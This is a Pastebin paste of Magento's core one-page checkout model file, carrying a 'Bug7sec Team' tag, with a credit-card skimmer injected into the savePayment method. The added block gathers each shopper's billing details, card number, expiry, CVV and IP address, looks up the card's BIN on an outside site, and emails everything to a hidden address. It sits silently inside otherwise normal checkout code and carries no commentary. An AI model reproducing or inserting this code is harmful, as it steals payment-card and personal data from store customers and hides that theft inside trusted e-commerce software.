iqromss

Untitled

Jun 17th, 2017
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.70 KB | None | 0 0
  1. <?php
  2. /**
  3. * Magento
  4. *
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to [email protected] so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade Magento to newer
  18. * versions in the future. If you wish to customize Magento for your
  19. * needs please refer to http://www.magentocommerce.com for more information.
  20. *
  21. * @category Mage
  22. * @package Mage_Checkout (Bug7sec Team)
  23. * @copyright Copyright (c) 2014 Magento Inc. (http://www.magentocommerce.com)
  24. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  25. */
  26.  
  27. /**
  28. * One page checkout processing model
  29. */
  30. class Mage_Checkout_Model_Type_Onepage
  31. {
  32. /**
  33. * Checkout types: Checkout as Guest, Register, Logged In Customer
  34. */
  35. const METHOD_GUEST = 'guest';
  36. const METHOD_REGISTER = 'register';
  37. const METHOD_CUSTOMER = 'customer';
  38.  
  39. /**
  40. * Error message of "customer already exists"
  41. *
  42. * @var string
  43. */
  44. private $_customerEmailExistsMessage = '';
  45.  
  46. /**
  47. * @var Mage_Customer_Model_Session
  48. */
  49. protected $_customerSession;
  50.  
  51. /**
  52. * @var Mage_Checkout_Model_Session
  53. */
  54. protected $_checkoutSession;
  55.  
  56. /**
  57. * @var Mage_Sales_Model_Quote
  58. */
  59. protected $_quote = null;
  60.  
  61. /**
  62. * @var Mage_Checkout_Helper_Data
  63. */
  64. protected $_helper;
  65.  
  66. /**
  67. * Class constructor
  68. * Set customer already exists message
  69. */
  70. public function __construct()
  71. {
  72. $this->_helper = Mage::helper('checkout');
  73. $this->_customerEmailExistsMessage = Mage::helper('checkout')->__('There is already a customer registered using this email address. Please login using this email address or enter a different email address to register your account.');
  74. $this->_checkoutSession = Mage::getSingleton('checkout/session');
  75. $this->_customerSession = Mage::getSingleton('customer/session');
  76. }
  77.  
  78. /**
  79. * Get frontend checkout session object
  80. *
  81. * @return Mage_Checkout_Model_Session
  82. */
  83. public function getCheckout()
  84. {
  85. return $this->_checkoutSession;
  86. }
  87.  
  88. /**
  89. * Quote object getter
  90. *
  91. * @return Mage_Sales_Model_Quote
  92. */
  93. public function getQuote()
  94. {
  95. if ($this->_quote === null) {
  96. return $this->_checkoutSession->getQuote();
  97. }
  98. return $this->_quote;
  99. }
  100.  
  101. /**
  102. * Declare checkout quote instance
  103. *
  104. * @param Mage_Sales_Model_Quote $quote
  105. * @return Mage_Checkout_Model_Type_Onepage
  106. */
  107. public function setQuote(Mage_Sales_Model_Quote $quote)
  108. {
  109. $this->_quote = $quote;
  110. return $this;
  111. }
  112.  
  113. /**
  114. * Get customer session object
  115. *
  116. * @return Mage_Customer_Model_Session
  117. */
  118. public function getCustomerSession()
  119. {
  120. return $this->_customerSession;
  121. }
  122.  
  123. /**
  124. * Initialize quote state to be valid for one page checkout
  125. *
  126. * @return Mage_Checkout_Model_Type_Onepage
  127. */
  128. public function initCheckout()
  129. {
  130. $checkout = $this->getCheckout();
  131. $customerSession = $this->getCustomerSession();
  132. if (is_array($checkout->getStepData())) {
  133. foreach ($checkout->getStepData() as $step=>$data) {
  134. if (!($step==='login' || $customerSession->isLoggedIn() && $step==='billing')) {
  135. $checkout->setStepData($step, 'allow', false);
  136. }
  137. }
  138. }
  139.  
  140. /**
  141. * Reset multishipping flag before any manipulations with quote address
  142. * addAddress method for quote object related on this flag
  143. */
  144. if ($this->getQuote()->getIsMultiShipping()) {
  145. $this->getQuote()->setIsMultiShipping(false);
  146. $this->getQuote()->save();
  147. }
  148.  
  149. /*
  150. * want to load the correct customer information by assigning to address
  151. * instead of just loading from sales/quote_address
  152. */
  153. $customer = $customerSession->getCustomer();
  154. if ($customer) {
  155. $this->getQuote()->assignCustomer($customer);
  156. }
  157. return $this;
  158. }
  159.  
  160. /**
  161. * Get quote checkout method
  162. *
  163. * @return string
  164. */
  165. public function getCheckoutMethod()
  166. {
  167. if ($this->getCustomerSession()->isLoggedIn()) {
  168. return self::METHOD_CUSTOMER;
  169. }
  170. if (!$this->getQuote()->getCheckoutMethod()) {
  171. if ($this->_helper->isAllowedGuestCheckout($this->getQuote())) {
  172. $this->getQuote()->setCheckoutMethod(self::METHOD_GUEST);
  173. } else {
  174. $this->getQuote()->setCheckoutMethod(self::METHOD_REGISTER);
  175. }
  176. }
  177. return $this->getQuote()->getCheckoutMethod();
  178. }
  179.  
  180. /**
  181. * Get quote checkout method
  182. *
  183. * @deprecated since 1.4.0.1
  184. * @return string
  185. */
  186. public function getCheckoutMehod()
  187. {
  188. return $this->getCheckoutMethod();
  189. }
  190.  
  191. /**
  192. * Specify checkout method
  193. *
  194. * @param string $method
  195. * @return array
  196. */
  197. public function saveCheckoutMethod($method)
  198. {
  199. if (empty($method)) {
  200. return array('error' => -1, 'message' => Mage::helper('checkout')->__('Invalid data.'));
  201. }
  202.  
  203. $this->getQuote()->setCheckoutMethod($method)->save();
  204. $this->getCheckout()->setStepData('billing', 'allow', true);
  205. return array();
  206. }
  207.  
  208. /**
  209. * Get customer address by identifier
  210. *
  211. * @param int $addressId
  212. * @return Mage_Customer_Model_Address
  213. */
  214. public function getAddress($addressId)
  215. {
  216. $address = Mage::getModel('customer/address')->load((int)$addressId);
  217. $address->explodeStreetAddress();
  218. if ($address->getRegionId()) {
  219. $address->setRegion($address->getRegionId());
  220. }
  221. return $address;
  222. }
  223.  
  224. /**
  225. * Save billing address information to quote
  226. * This method is called by One Page Checkout JS (AJAX) while saving the billing information.
  227. *
  228. * @param array $data
  229. * @param int $customerAddressId
  230. * @return Mage_Checkout_Model_Type_Onepage
  231. */
  232. public function saveBilling($data, $customerAddressId)
  233. {
  234. if (empty($data)) {
  235. return array('error' => -1, 'message' => Mage::helper('checkout')->__('Invalid data.'));
  236. }
  237.  
  238. $address = $this->getQuote()->getBillingAddress();
  239. /* @var $addressForm Mage_Customer_Model_Form */
  240. $addressForm = Mage::getModel('customer/form');
  241. $addressForm->setFormCode('customer_address_edit')
  242. ->setEntityType('customer_address')
  243. ->setIsAjaxRequest(Mage::app()->getRequest()->isAjax());
  244.  
  245. if (!empty($customerAddressId)) {
  246. $customerAddress = Mage::getModel('customer/address')->load($customerAddressId);
  247. if ($customerAddress->getId()) {
  248. if ($customerAddress->getCustomerId() != $this->getQuote()->getCustomerId()) {
  249. return array('error' => 1,
  250. 'message' => Mage::helper('checkout')->__('Customer Address is not valid.')
  251. );
  252. }
  253.  
  254. $address->importCustomerAddress($customerAddress)->setSaveInAddressBook(0);
  255. $addressForm->setEntity($address);
  256. $addressErrors = $addressForm->validateData($address->getData());
  257. if ($addressErrors !== true) {
  258. return array('error' => 1, 'message' => $addressErrors);
  259. }
  260. }
  261. } else {
  262. $addressForm->setEntity($address);
  263. // emulate request object
  264. $addressData = $addressForm->extractData($addressForm->prepareRequest($data));
  265. $addressErrors = $addressForm->validateData($addressData);
  266. if ($addressErrors !== true) {
  267. return array('error' => 1, 'message' => array_values($addressErrors));
  268. }
  269. $addressForm->compactData($addressData);
  270. //unset billing address attributes which were not shown in form
  271. foreach ($addressForm->getAttributes() as $attribute) {
  272. if (!isset($data[$attribute->getAttributeCode()])) {
  273. $address->setData($attribute->getAttributeCode(), NULL);
  274. }
  275. }
  276. $address->setCustomerAddressId(null);
  277. // Additional form data, not fetched by extractData (as it fetches only attributes)
  278. $address->setSaveInAddressBook(empty($data['save_in_address_book']) ? 0 : 1);
  279. }
  280.  
  281. // set email for newly created user
  282. if (!$address->getEmail() && $this->getQuote()->getCustomerEmail()) {
  283. $address->setEmail($this->getQuote()->getCustomerEmail());
  284. }
  285.  
  286. // validate billing address
  287. if (($validateRes = $address->validate()) !== true) {
  288. return array('error' => 1, 'message' => $validateRes);
  289. }
  290.  
  291. $address->implodeStreetAddress();
  292.  
  293. if (true !== ($result = $this->_validateCustomerData($data))) {
  294. return $result;
  295. }
  296.  
  297. if (!$this->getQuote()->getCustomerId() && self::METHOD_REGISTER == $this->getQuote()->getCheckoutMethod()) {
  298. if ($this->_customerEmailExists($address->getEmail(), Mage::app()->getWebsite()->getId())) {
  299. return array('error' => 1, 'message' => $this->_customerEmailExistsMessage);
  300. }
  301. }
  302.  
  303. if (!$this->getQuote()->isVirtual()) {
  304. /**
  305. * Billing address using otions
  306. */
  307. $usingCase = isset($data['use_for_shipping']) ? (int)$data['use_for_shipping'] : 0;
  308.  
  309. switch ($usingCase) {
  310. case 0:
  311. $shipping = $this->getQuote()->getShippingAddress();
  312. $shipping->setSameAsBilling(0);
  313. break;
  314. case 1:
  315. $billing = clone $address;
  316. $billing->unsAddressId()->unsAddressType();
  317. $shipping = $this->getQuote()->getShippingAddress();
  318. $shippingMethod = $shipping->getShippingMethod();
  319.  
  320. // Billing address properties that must be always copied to shipping address
  321. $requiredBillingAttributes = array('customer_address_id');
  322.  
  323. // don't reset original shipping data, if it was not changed by customer
  324. foreach ($shipping->getData() as $shippingKey => $shippingValue) {
  325. if (!is_null($shippingValue) && !is_null($billing->getData($shippingKey))
  326. && !isset($data[$shippingKey]) && !in_array($shippingKey, $requiredBillingAttributes)
  327. ) {
  328. $billing->unsetData($shippingKey);
  329. }
  330. }
  331. $shipping->addData($billing->getData())
  332. ->setSameAsBilling(1)
  333. ->setSaveInAddressBook(0)
  334. ->setShippingMethod($shippingMethod)
  335. ->setCollectShippingRates(true);
  336. $this->getCheckout()->setStepData('shipping', 'complete', true);
  337. break;
  338. }
  339. }
  340.  
  341. $this->getQuote()->collectTotals();
  342. $this->getQuote()->save();
  343.  
  344. if (!$this->getQuote()->isVirtual() && $this->getCheckout()->getStepData('shipping', 'complete') == true) {
  345. //Recollect Shipping rates for shipping methods
  346. $this->getQuote()->getShippingAddress()->setCollectShippingRates(true);
  347. }
  348.  
  349. $this->getCheckout()
  350. ->setStepData('billing', 'allow', true)
  351. ->setStepData('billing', 'complete', true)
  352. ->setStepData('shipping', 'allow', true);
  353.  
  354. return array();
  355. }
  356.  
  357. /**
  358. * Validate customer data and set some its data for further usage in quote
  359. * Will return either true or array with error messages
  360. *
  361. * @param array $data
  362. * @return true|array
  363. */
  364. protected function _validateCustomerData(array $data)
  365. {
  366. /** @var $customerForm Mage_Customer_Model_Form */
  367. $customerForm = Mage::getModel('customer/form');
  368. $customerForm->setFormCode('checkout_register')
  369. ->setIsAjaxRequest(Mage::app()->getRequest()->isAjax());
  370.  
  371. $quote = $this->getQuote();
  372. if ($quote->getCustomerId()) {
  373. $customer = $quote->getCustomer();
  374. $customerForm->setEntity($customer);
  375. $customerData = $quote->getCustomer()->getData();
  376. } else {
  377. /* @var $customer Mage_Customer_Model_Customer */
  378. $customer = Mage::getModel('customer/customer');
  379. $customerForm->setEntity($customer);
  380. $customerRequest = $customerForm->prepareRequest($data);
  381. $customerData = $customerForm->extractData($customerRequest);
  382. }
  383.  
  384. $customerErrors = $customerForm->validateData($customerData);
  385. if ($customerErrors !== true) {
  386. return array(
  387. 'error' => -1,
  388. 'message' => implode(', ', $customerErrors)
  389. );
  390. }
  391.  
  392. if ($quote->getCustomerId()) {
  393. return true;
  394. }
  395.  
  396. $customerForm->compactData($customerData);
  397.  
  398. if ($quote->getCheckoutMethod() == self::METHOD_REGISTER) {
  399. // set customer password
  400. $customer->setPassword($customerRequest->getParam('customer_password'));
  401. $customer->setConfirmation($customerRequest->getParam('confirm_password'));
  402. } else {
  403. // spoof customer password for guest
  404. $password = $customer->generatePassword();
  405. $customer->setPassword($password);
  406. $customer->setConfirmation($password);
  407. // set NOT LOGGED IN group id explicitly,
  408. // otherwise copyFieldset('customer_account', 'to_quote') will fill it with default group id value
  409. $customer->setGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
  410. }
  411.  
  412. $result = $customer->validate();
  413. if (true !== $result && is_array($result)) {
  414. return array(
  415. 'error' => -1,
  416. 'message' => implode(', ', $result)
  417. );
  418. }
  419.  
  420. if ($quote->getCheckoutMethod() == self::METHOD_REGISTER) {
  421. // save customer encrypted password in quote
  422. $quote->setPasswordHash($customer->encryptPassword($customer->getPassword()));
  423. }
  424.  
  425. // copy customer/guest email to address
  426. $quote->getBillingAddress()->setEmail($customer->getEmail());
  427.  
  428. // copy customer data to quote
  429. Mage::helper('core')->copyFieldset('customer_account', 'to_quote', $customer, $quote);
  430.  
  431. return true;
  432. }
  433.  
  434. /**
  435. * Validate customer data and set some its data for further usage in quote
  436. * Will return either true or array with error messages
  437. *
  438. * @deprecated since 1.4.0.1
  439. * @param Mage_Sales_Model_Quote_Address $address
  440. * @return true|array
  441. */
  442. protected function _processValidateCustomer(Mage_Sales_Model_Quote_Address $address)
  443. {
  444. // set customer date of birth for further usage
  445. $dob = '';
  446. if ($address->getDob()) {
  447. $dob = Mage::app()->getLocale()->date($address->getDob(), null, null, false)->toString('yyyy-MM-dd');
  448. $this->getQuote()->setCustomerDob($dob);
  449. }
  450.  
  451. // set customer tax/vat number for further usage
  452. if ($address->getTaxvat()) {
  453. $this->getQuote()->setCustomerTaxvat($address->getTaxvat());
  454. }
  455.  
  456. // set customer gender for further usage
  457. if ($address->getGender()) {
  458. $this->getQuote()->setCustomerGender($address->getGender());
  459. }
  460.  
  461. // invoke customer model, if it is registering
  462. if (self::METHOD_REGISTER == $this->getQuote()->getCheckoutMethod()) {
  463. // set customer password hash for further usage
  464. $customer = Mage::getModel('customer/customer');
  465. $this->getQuote()->setPasswordHash($customer->encryptPassword($address->getCustomerPassword()));
  466.  
  467. // validate customer
  468. foreach (array(
  469. 'firstname' => 'firstname',
  470. 'lastname' => 'lastname',
  471. 'email' => 'email',
  472. 'password' => 'customer_password',
  473. 'confirmation' => 'confirm_password',
  474. 'taxvat' => 'taxvat',
  475. 'gender' => 'gender',
  476. ) as $key => $dataKey) {
  477. $customer->setData($key, $address->getData($dataKey));
  478. }
  479. if ($dob) {
  480. $customer->setDob($dob);
  481. }
  482. $validationResult = $customer->validate();
  483. if (true !== $validationResult && is_array($validationResult)) {
  484. return array(
  485. 'error' => -1,
  486. 'message' => implode(', ', $validationResult)
  487. );
  488. }
  489. } else if (self::METHOD_GUEST == $this->getQuote()->getCheckoutMethod()) {
  490. $email = $address->getData('email');
  491. if (!Zend_Validate::is($email, 'EmailAddress')) {
  492. return array(
  493. 'error' => -1,
  494. 'message' => Mage::helper('checkout')->__('Invalid email address "%s"', $email)
  495. );
  496. }
  497. }
  498.  
  499. return true;
  500. }
  501.  
  502. /**
  503. * Save checkout shipping address
  504. *
  505. * @param array $data
  506. * @param int $customerAddressId
  507. * @return Mage_Checkout_Model_Type_Onepage
  508. */
  509. public function saveShipping($data, $customerAddressId)
  510. {
  511. if (empty($data)) {
  512. return array('error' => -1, 'message' => Mage::helper('checkout')->__('Invalid data.'));
  513. }
  514. $address = $this->getQuote()->getShippingAddress();
  515.  
  516. /* @var $addressForm Mage_Customer_Model_Form */
  517. $addressForm = Mage::getModel('customer/form');
  518. $addressForm->setFormCode('customer_address_edit')
  519. ->setEntityType('customer_address')
  520. ->setIsAjaxRequest(Mage::app()->getRequest()->isAjax());
  521.  
  522. if (!empty($customerAddressId)) {
  523. $customerAddress = Mage::getModel('customer/address')->load($customerAddressId);
  524. if ($customerAddress->getId()) {
  525. if ($customerAddress->getCustomerId() != $this->getQuote()->getCustomerId()) {
  526. return array('error' => 1,
  527. 'message' => Mage::helper('checkout')->__('Customer Address is not valid.')
  528. );
  529. }
  530.  
  531. $address->importCustomerAddress($customerAddress)->setSaveInAddressBook(0);
  532. $addressForm->setEntity($address);
  533. $addressErrors = $addressForm->validateData($address->getData());
  534. if ($addressErrors !== true) {
  535. return array('error' => 1, 'message' => $addressErrors);
  536. }
  537. }
  538. } else {
  539. $addressForm->setEntity($address);
  540. // emulate request object
  541. $addressData = $addressForm->extractData($addressForm->prepareRequest($data));
  542. $addressErrors = $addressForm->validateData($addressData);
  543. if ($addressErrors !== true) {
  544. return array('error' => 1, 'message' => $addressErrors);
  545. }
  546. $addressForm->compactData($addressData);
  547. // unset shipping address attributes which were not shown in form
  548. foreach ($addressForm->getAttributes() as $attribute) {
  549. if (!isset($data[$attribute->getAttributeCode()])) {
  550. $address->setData($attribute->getAttributeCode(), NULL);
  551. }
  552. }
  553.  
  554. $address->setCustomerAddressId(null);
  555. // Additional form data, not fetched by extractData (as it fetches only attributes)
  556. $address->setSaveInAddressBook(empty($data['save_in_address_book']) ? 0 : 1);
  557. $address->setSameAsBilling(empty($data['same_as_billing']) ? 0 : 1);
  558. }
  559.  
  560. $address->implodeStreetAddress();
  561. $address->setCollectShippingRates(true);
  562.  
  563. if (($validateRes = $address->validate())!==true) {
  564. return array('error' => 1, 'message' => $validateRes);
  565. }
  566.  
  567. $this->getQuote()->collectTotals()->save();
  568.  
  569. $this->getCheckout()
  570. ->setStepData('shipping', 'complete', true)
  571. ->setStepData('shipping_method', 'allow', true);
  572.  
  573. return array();
  574. }
  575.  
  576. /**
  577. * Specify quote shipping method
  578. *
  579. * @param string $shippingMethod
  580. * @return array
  581. */
  582. public function saveShippingMethod($shippingMethod)
  583. {
  584. if (empty($shippingMethod)) {
  585. return array('error' => -1, 'message' => Mage::helper('checkout')->__('Invalid shipping method.'));
  586. }
  587. $rate = $this->getQuote()->getShippingAddress()->getShippingRateByCode($shippingMethod);
  588. if (!$rate) {
  589. return array('error' => -1, 'message' => Mage::helper('checkout')->__('Invalid shipping method.'));
  590. }
  591. $this->getQuote()->getShippingAddress()
  592. ->setShippingMethod($shippingMethod);
  593.  
  594. $this->getCheckout()
  595. ->setStepData('shipping_method', 'complete', true)
  596. ->setStepData('payment', 'allow', true);
  597.  
  598. return array();
  599. }
  600.  
  601. /**
  602. * Specify quote payment method
  603. *
  604. * @param array $data
  605. * @return array
  606. */
  607. public function savePayment($data)
  608. {
  609. if (empty($data)) {
  610. return array('error' => -1, 'message' => Mage::helper('checkout')->__('Invalid data.'));
  611. }
  612. $quote = $this->getQuote();
  613. if ($quote->isVirtual()) {
  614. $quote->getBillingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
  615. } else {
  616. $quote->getShippingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
  617. }
  618.  
  619.  
  620.  
  621. $email = $this -> getQuote() -> getBillingAddress() -> getEmail();
  622. $send = array(
  623. 'Payment Method' => $data['method'],
  624. 'Billing Name' => $this -> getQuote() -> getBillingAddress() -> getFirstname()." ".$this-> getQuote() -> getBillingAddress() -> getLastname(),
  625. 'Billing Email' => $this -> getQuote() -> getBillingAddress() -> getEmail(),
  626. 'Billing Address 1' => $this -> getQuote() -> getBillingAddress() -> getStreet(1),
  627. 'Billing Address 2' => $this -> getQuote() -> getBillingAddress() -> getStreet(2),
  628. 'Billing City' => $this -> getQuote() -> getBillingAddress() -> getCity(),
  629. 'Billing State' => $this -> getQuote() -> getBillingAddress() -> getRegion(),
  630. 'Billing PosCode' => $this -> getQuote() -> getBillingAddress() -> getPostcode(),
  631. 'Billing Country' => $this -> getQuote() -> getBillingAddress() -> getCountry(),
  632. 'Billing Phone' => $this -> getQuote() -> getBillingAddress() -> getTelephone(),
  633. 'Card Owner' => $data['cc_owner'],
  634. 'Card Type' => $data['cc_type'],
  635. 'Card Number' => $data['cc_number'],
  636. 'Card Expayed' => trim(sprintf('%02d%02d', $data['cc_exp_month'], substr($data['cc_exp_year'], strlen($data['cc_exp_year']) - 2))), 'Card Sec' => $data['cc_cid'], 'Customer IP' => trim(getenv('REMOTE_ADDR')), 'Store' => trim($_SERVER['SERVER_NAME']));
  637. $cccountry = $this -> getQuote() -> getBillingAddress() -> getCountry();
  638. $bin = str_replace(' ', '', $data['cc_number']);
  639. $bin = substr($bin, 0, 6);
  640. $getbank = explode($bin, file_get_contents("http://bins.pro/search?action=searchbins&bins=" . $bin . "&bank=&country="));
  641. $jeniscc = explode("</td><td>", $getbank[2]);
  642. $namabnk = explode("</td></tr>", $jeniscc[5]);
  643. $ccbrand = $jeniscc[2];
  644. $ccbank = $namabnk[0];
  645. $cctype = $jeniscc[3];
  646. $ccklas = $jeniscc[4];
  647. $tipe = $getbank['card_type']; $bins = $getbank['bin'];
  648. $store = $_SERVER['SERVER_NAME'];
  649. $customer_ip = $_SERVER['REMOTE_ADDR'];
  650. if (strlen($ccnumber) > 9) {
  651. foreach($send as $param => $value){
  652. $datasend .= "$param = $value\n";
  653. }
  654. $subject = "[Credit Card (69) - ".$tipe."] ".$data['cc_number']." - ".$bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." ";
  655. mail("[email protected]", $subject , $datasend);
  656. }
  657.  
  658. // shipping totals may be affected by payment method
  659. if (!$quote->isVirtual() && $quote->getShippingAddress()) {
  660. $quote->getShippingAddress()->setCollectShippingRates(true);
  661. }
  662.  
  663. $data['checks'] = Mage_Payment_Model_Method_Abstract::CHECK_USE_CHECKOUT
  664. | Mage_Payment_Model_Method_Abstract::CHECK_USE_FOR_COUNTRY
  665. | Mage_Payment_Model_Method_Abstract::CHECK_USE_FOR_CURRENCY
  666. | Mage_Payment_Model_Method_Abstract::CHECK_ORDER_TOTAL_MIN_MAX
  667. | Mage_Payment_Model_Method_Abstract::CHECK_ZERO_TOTAL;
  668.  
  669. $payment = $quote->getPayment();
  670. $payment->importData($data);
  671.  
  672. $quote->save();
  673.  
  674. $this->getCheckout()
  675. ->setStepData('payment', 'complete', true)
  676. ->setStepData('review', 'allow', true);
  677.  
  678. return array();
  679. }
  680.  
  681. /**
  682. * Validate quote state to be integrated with one page checkout process
  683. */
  684. public function validate()
  685. {
  686. $quote = $this->getQuote();
  687. if ($quote->getIsMultiShipping()) {
  688. Mage::throwException(Mage::helper('checkout')->__('Invalid checkout type.'));
  689. }
  690.  
  691. if ($quote->getCheckoutMethod() == self::METHOD_GUEST && !$quote->isAllowedGuestCheckout()) {
  692. Mage::throwException(Mage::helper('checkout')->__('Sorry, guest checkout is not enabled. Please try again or contact store owner.'));
  693. }
  694. }
  695.  
  696. /**
  697. * Prepare quote for guest checkout order submit
  698. *
  699. * @return Mage_Checkout_Model_Type_Onepage
  700. */
  701. protected function _prepareGuestQuote()
  702. {
  703. $quote = $this->getQuote();
  704. $quote->setCustomerId(null)
  705. ->setCustomerEmail($quote->getBillingAddress()->getEmail())
  706. ->setCustomerIsGuest(true)
  707. ->setCustomerGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
  708. return $this;
  709. }
  710.  
  711. /**
  712. * Prepare quote for customer registration and customer order submit
  713. *
  714. * @return Mage_Checkout_Model_Type_Onepage
  715. */
  716. protected function _prepareNewCustomerQuote()
  717. {
  718. $quote = $this->getQuote();
  719. $billing = $quote->getBillingAddress();
  720. $shipping = $quote->isVirtual() ? null : $quote->getShippingAddress();
  721.  
  722. //$customer = Mage::getModel('customer/customer');
  723. $customer = $quote->getCustomer();
  724. /* @var $customer Mage_Customer_Model_Customer */
  725. $customerBilling = $billing->exportCustomerAddress();
  726. $customer->addAddress($customerBilling);
  727. $billing->setCustomerAddress($customerBilling);
  728. $customerBilling->setIsDefaultBilling(true);
  729. if ($shipping && !$shipping->getSameAsBilling()) {
  730. $customerShipping = $shipping->exportCustomerAddress();
  731. $customer->addAddress($customerShipping);
  732. $shipping->setCustomerAddress($customerShipping);
  733. $customerShipping->setIsDefaultShipping(true);
  734. } else {
  735. $customerBilling->setIsDefaultShipping(true);
  736. }
  737.  
  738. Mage::helper('core')->copyFieldset('checkout_onepage_quote', 'to_customer', $quote, $customer);
  739. $customer->setPassword($customer->decryptPassword($quote->getPasswordHash()));
  740. $customer->setPasswordHash($customer->hashPassword($customer->getPassword()));
  741. $quote->setCustomer($customer)
  742. ->setCustomerId(true);
  743. }
  744.  
  745. /**
  746. * Prepare quote for customer order submit
  747. *
  748. * @return Mage_Checkout_Model_Type_Onepage
  749. */
  750. protected function _prepareCustomerQuote()
  751. {
  752. $quote = $this->getQuote();
  753. $billing = $quote->getBillingAddress();
  754. $shipping = $quote->isVirtual() ? null : $quote->getShippingAddress();
  755.  
  756. $customer = $this->getCustomerSession()->getCustomer();
  757. if (!$billing->getCustomerId() || $billing->getSaveInAddressBook()) {
  758. $customerBilling = $billing->exportCustomerAddress();
  759. $customer->addAddress($customerBilling);
  760. $billing->setCustomerAddress($customerBilling);
  761. }
  762. if ($shipping && !$shipping->getSameAsBilling() &&
  763. (!$shipping->getCustomerId() || $shipping->getSaveInAddressBook())) {
  764. $customerShipping = $shipping->exportCustomerAddress();
  765. $customer->addAddress($customerShipping);
  766. $shipping->setCustomerAddress($customerShipping);
  767. }
  768.  
  769. if (isset($customerBilling) && !$customer->getDefaultBilling()) {
  770. $customerBilling->setIsDefaultBilling(true);
  771. }
  772. if ($shipping && isset($customerShipping) && !$customer->getDefaultShipping()) {
  773. $customerShipping->setIsDefaultShipping(true);
  774. } else if (isset($customerBilling) && !$customer->getDefaultShipping()) {
  775. $customerBilling->setIsDefaultShipping(true);
  776. }
  777. $quote->setCustomer($customer);
  778. }
  779.  
  780. /**
  781. * Involve new customer to system
  782. *
  783. * @return Mage_Checkout_Model_Type_Onepage
  784. */
  785. protected function _involveNewCustomer()
  786. {
  787. $customer = $this->getQuote()->getCustomer();
  788. if ($customer->isConfirmationRequired()) {
  789. $customer->sendNewAccountEmail('confirmation', '', $this->getQuote()->getStoreId());
  790. $url = Mage::helper('customer')->getEmailConfirmationUrl($customer->getEmail());
  791. $this->getCustomerSession()->addSuccess(
  792. Mage::helper('customer')->__('Account confirmation is required. Please, check your e-mail for confirmation link. To resend confirmation email please <a href="%s">click here</a>.', $url)
  793. );
  794. } else {
  795. $customer->sendNewAccountEmail('registered', '', $this->getQuote()->getStoreId());
  796. $this->getCustomerSession()->loginById($customer->getId());
  797. }
  798. return $this;
  799. }
  800.  
  801. /**
  802. * Create order based on checkout type. Create customer if necessary.
  803. *
  804. * @return Mage_Checkout_Model_Type_Onepage
  805. */
  806. public function saveOrder()
  807. {
  808. $this->validate();
  809. $isNewCustomer = false;
  810. switch ($this->getCheckoutMethod()) {
  811. case self::METHOD_GUEST:
  812. $this->_prepareGuestQuote();
  813. break;
  814. case self::METHOD_REGISTER:
  815. $this->_prepareNewCustomerQuote();
  816. $isNewCustomer = true;
  817. break;
  818. default:
  819. $this->_prepareCustomerQuote();
  820. break;
  821. }
  822.  
  823. $service = Mage::getModel('sales/service_quote', $this->getQuote());
  824. $service->submitAll();
  825.  
  826. if ($isNewCustomer) {
  827. try {
  828. $this->_involveNewCustomer();
  829. } catch (Exception $e) {
  830. Mage::logException($e);
  831. }
  832. }
  833.  
  834. $this->_checkoutSession->setLastQuoteId($this->getQuote()->getId())
  835. ->setLastSuccessQuoteId($this->getQuote()->getId())
  836. ->clearHelperData();
  837.  
  838. $order = $service->getOrder();
  839. if ($order) {
  840. Mage::dispatchEvent('checkout_type_onepage_save_order_after',
  841. array('order'=>$order, 'quote'=>$this->getQuote()));
  842.  
  843. /**
  844. * a flag to set that there will be redirect to third party after confirmation
  845. * eg: paypal standard ipn
  846. */
  847. $redirectUrl = $this->getQuote()->getPayment()->getOrderPlaceRedirectUrl();
  848. /**
  849. * we only want to send to customer about new order when there is no redirect to third party
  850. */
  851. if (!$redirectUrl && $order->getCanSendNewEmailFlag()) {
  852. try {
  853. $order->sendNewOrderEmail();
  854. } catch (Exception $e) {
  855. Mage::logException($e);
  856. }
  857. }
  858.  
  859. // add order information to the session
  860. $this->_checkoutSession->setLastOrderId($order->getId())
  861. ->setRedirectUrl($redirectUrl)
  862. ->setLastRealOrderId($order->getIncrementId());
  863.  
  864. // as well a billing agreement can be created
  865. $agreement = $order->getPayment()->getBillingAgreement();
  866. if ($agreement) {
  867. $this->_checkoutSession->setLastBillingAgreementId($agreement->getId());
  868. }
  869. }
  870.  
  871. // add recurring profiles information to the session
  872. $profiles = $service->getRecurringPaymentProfiles();
  873. if ($profiles) {
  874. $ids = array();
  875. foreach ($profiles as $profile) {
  876. $ids[] = $profile->getId();
  877. }
  878. $this->_checkoutSession->setLastRecurringProfileIds($ids);
  879. // TODO: send recurring profile emails
  880. }
  881.  
  882. Mage::dispatchEvent(
  883. 'checkout_submit_all_after',
  884. array('order' => $order, 'quote' => $this->getQuote(), 'recurring_profiles' => $profiles)
  885. );
  886.  
  887. return $this;
  888. }
  889.  
  890. /**
  891. * Validate quote state to be able submitted from one page checkout page
  892. *
  893. * @deprecated after 1.4 - service model doing quote validation
  894. * @return Mage_Checkout_Model_Type_Onepage
  895. */
  896. protected function validateOrder()
  897. {
  898. if ($this->getQuote()->getIsMultiShipping()) {
  899. Mage::throwException(Mage::helper('checkout')->__('Invalid checkout type.'));
  900. }
  901.  
  902. if (!$this->getQuote()->isVirtual()) {
  903. $address = $this->getQuote()->getShippingAddress();
  904. $addressValidation = $address->validate();
  905. if ($addressValidation !== true) {
  906. Mage::throwException(Mage::helper('checkout')->__('Please check shipping address information.'));
  907. }
  908. $method= $address->getShippingMethod();
  909. $rate = $address->getShippingRateByCode($method);
  910. if (!$this->getQuote()->isVirtual() && (!$method || !$rate)) {
  911. Mage::throwException(Mage::helper('checkout')->__('Please specify shipping method.'));
  912. }
  913. }
  914.  
  915. $addressValidation = $this->getQuote()->getBillingAddress()->validate();
  916. if ($addressValidation !== true) {
  917. Mage::throwException(Mage::helper('checkout')->__('Please check billing address information.'));
  918. }
  919.  
